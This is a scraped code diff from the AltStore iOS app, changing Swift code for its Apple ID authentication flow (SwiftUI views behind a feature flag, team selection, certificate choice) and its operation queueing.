DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
var app = operation.app
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
{
app = tempApp
}
do
{
_ = LoggedError(error: sanitizedError, app: app, operation: loggedErrorOperation, context: context)
try context.save()
}
catch let saveError
{
print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
}
}
}
func run(_ operations: [Foundation.Operation], context: OperationContext?, requiresSerialQueue: Bool = false)
{
// Find "Install AltStore" operation if it already exists in `context`
// so we can ensure it runs after any additional serial operations in `operations`.
let installAltStoreOperation = context?.operations.allObjects.lazy.compactMap { $0 as? InstallAppOperation }.first { $0.context.bundleIdentifier == StoreApp.altstoreAppID }
for operation in operations
{
switch operation
{
case _ where requiresSerialQueue: fallthrough
case is InstallAppOperation, is RefreshAppOperation, is BackupAppOperation: self.serialOperationQueue.addOperation(operation)
case is InstallAppOperation, is RefreshAppOperation, is BackupAppOperation:
if let installAltStoreOperation = operation as? InstallAppOperation, installAltStoreOperation.context.bundleIdentifier == StoreApp.altstoreAppID
{
// Add dependencies on previous serial operations in `context` to ensure re-installing AltStore goes last.
let previousSerialOperations = context?.operations.allObjects.filter { self.serialOperationQueue.operations.contains($0) }
previousSerialOperations?.forEach { installAltStoreOperation.addDependency($0) }
}
else if let installAltStoreOperation = installAltStoreOperation
{
// Re-installing AltStore should _always_ be the last serial operation in `context`.
installAltStoreOperation.addDependency(operation)
}
self.serialOperationQueue.addOperation(operation)
default: self.operationQueue.addOperation(operation)
}

View File

@@ -7,6 +7,7 @@
//
import Foundation
import SwiftUI
import Roxas
import Network
@@ -17,6 +18,7 @@ enum AuthenticationError: LocalizedError
{
case noTeam
case noCertificate
case teamSelectorError
case missingPrivateKey
case missingCertificate
@@ -24,6 +26,7 @@ enum AuthenticationError: LocalizedError
var errorDescription: String? {
switch self {
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
case .missingPrivateKey: return NSLocalizedString("The certificate's private key could not be found.", comment: "")
case .missingCertificate: return NSLocalizedString("The certificate could not be found.", comment: "")
@@ -32,12 +35,12 @@ enum AuthenticationError: LocalizedError
}
@objc(AuthenticationOperation)
class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppleAPISession)>
final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppleAPISession)>
{
let context: AuthenticatedOperationContext
private weak var presentingViewController: UIViewController?
private lazy var navigationController: UINavigationController = {
let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
if #available(iOS 13.0, *)
@@ -46,9 +49,10 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
}
return navigationController
}()
private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
private var appleIDEmailAddress: String?
private var appleIDPassword: String?
private var shouldShowInstructions = false
@@ -174,6 +178,13 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
}
account.update(account: altTeam.account)
if let providedEmailAddress = self.appleIDEmailAddress
{
// Save the user's provided email address instead of the one associated with their account (which may be outdated).
account.appleID = providedEmailAddress
}
team.update(team: altTeam)
try context.save()
@@ -231,7 +242,7 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
{
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
}
else
{
@@ -242,7 +253,7 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
try context.save()
// Update keychain
Keychain.shared.appleIDEmailAddress = altTeam.account.appleID
Keychain.shared.appleIDEmailAddress = self.appleIDEmailAddress ?? altTeam.account.appleID // Prefer the user's provided email address over the one associated with their account (which may be outdated).
Keychain.shared.appleIDPassword = self.appleIDPassword
Keychain.shared.signingCertificate = altCertificate.p12Data()
@@ -256,7 +267,11 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
super.finish(result)
DispatchQueue.main.async {
self.navigationController.dismiss(animated: true, completion: nil)
if UnstableFeatures.enabled(.swiftUI) {
self.dismiss()
} else {
self.navigationController.dismiss(animated: true, completion: nil)
}
}
}
}
@@ -266,7 +281,11 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
super.finish(result)
DispatchQueue.main.async {
self.navigationController.dismiss(animated: true, completion: nil)
if UnstableFeatures.enabled(.swiftUI) {
self.dismiss()
} else {
self.navigationController.dismiss(animated: true, completion: nil)
}
}
}
}
@@ -277,25 +296,36 @@ private extension AuthenticationOperation
{
func present(_ viewController: UIViewController) -> Bool
{
guard let presentingViewController = self.presentingViewController else { return false }
self.navigationController.view.tintColor = .white
if self.navigationController.viewControllers.isEmpty
{
guard presentingViewController.presentedViewController == nil else { return false }
if UnstableFeatures.enabled(.swiftUI) {
UIApplication.topController?.present(viewController, animated: true)
} else {
guard let presentingViewController = self.presentingViewController else { return false }
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
{
viewController.navigationItem.leftBarButtonItem = nil
self.navigationController.pushViewController(viewController, animated: true)
self.navigationController.view.tintColor = .white
if self.navigationController.viewControllers.isEmpty
{
guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
{
viewController.navigationItem.leftBarButtonItem = nil
self.navigationController.pushViewController(viewController, animated: true)
}
}
return true
}
func dismiss() {
if let presentingViewController {
presentingViewController.dismiss(animated: true)
}
// UIApplication.topController?.dismiss(animated: true)
}
}
private extension AuthenticationOperation
@@ -305,29 +335,55 @@ private extension AuthenticationOperation
func authenticate()
{
DispatchQueue.main.async {
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
let viewController: UIViewController
if UnstableFeatures.enabled(.swiftUI) {
viewController = UIHostingController(rootView: NavigationView {
ConnectAppleIDView { appleID, password, completionHandler in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
} completionHandler: { result in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
}
}.navigationViewStyle(StackNavigationViewStyle()))
} else {
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
}
}
authenticationViewController.completionHandler = { (result) in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
authenticationViewController.completionHandler = { (result) in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
}
viewController = authenticationViewController
}
if !self.present(authenticationViewController)
if !self.present(viewController)
{
completionHandler(.failure(OperationError.notAuthenticated))
}
@@ -359,6 +415,8 @@ private extension AuthenticationOperation
func authenticate(appleID: String, password: String, completionHandler: @escaping (Result<(ALTAccount, ALTAppleAPISession), Swift.Error>) -> Void)
{
self.appleIDEmailAddress = appleID
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
fetchAnisetteDataOperation.resultHandler = { (result) in
switch result
@@ -367,49 +425,34 @@ private extension AuthenticationOperation
case .success(let anisetteData):
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
if let presentingViewController = self.presentingViewController
{
verificationHandler = { (completionHandler) in
DispatchQueue.main.async {
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
verificationHandler = { (completionHandler) in
DispatchQueue.main.async {
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
let textField = alertController.textFields?.first
let code = textField?.text ?? ""
completionHandler(code)
}
submitAction.isEnabled = false
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
completionHandler(nil)
})
if self.navigationController.presentingViewController != nil
{
self.navigationController.present(alertController, animated: true, completion: nil)
}
else
{
presentingViewController.present(alertController, animated: true, completion: nil)
}
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
let textField = alertController.textFields?.first
let code = textField?.text ?? ""
completionHandler(code)
}
submitAction.isEnabled = false
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
completionHandler(nil)
})
UIApplication.topController?.present(alertController, animated: true, completion: nil)
}
}
else
{
// No view controller to present security code alert, so don't provide verificationHandler.
verificationHandler = nil
}
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
verificationHandler: verificationHandler) { (account, session, error) in
@@ -431,24 +474,29 @@ private extension AuthenticationOperation
func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Swift.Error>) -> Void)
{
func selectTeam(from teams: [ALTTeam])
{
if let team = teams.first(where: { $0.type == .individual })
{
return completionHandler(.success(team))
}
else if let team = teams.first(where: { $0.type == .free })
{
return completionHandler(.success(team))
}
else if let team = teams.first
{
return completionHandler(.success(team))
}
else
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
{
if teams.count <= 1 {
if let team = teams.first {
return completionHandler(.success(team))
} else {
return completionHandler(.failure(AuthenticationError.noTeam))
}
} else {
DispatchQueue.main.async {
if !UnstableFeatures.enabled(.swiftUI) {
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
}
}
}
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
switch Result(teams, error)
@@ -507,7 +555,7 @@ private extension AuthenticationOperation
func replaceCertificate(from certificates: [ALTCertificate])
{
guard let certificate = certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
if let error = error, !success
@@ -627,18 +675,22 @@ private extension AuthenticationOperation
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
{
guard self.shouldShowInstructions else { return completionHandler(false) }
DispatchQueue.main.async {
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
completionHandler(true)
}
if UnstableFeatures.enabled(.swiftUI) {
return completionHandler(false)
} else {
guard self.shouldShowInstructions else { return completionHandler(false) }
if !self.present(instructionsViewController)
{
completionHandler(false)
DispatchQueue.main.async {
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
completionHandler(true)
}
if !self.present(instructionsViewController)
{
completionHandler(false)
}
}
}
}

Some files were not shown because too many files have changed in this diff Show More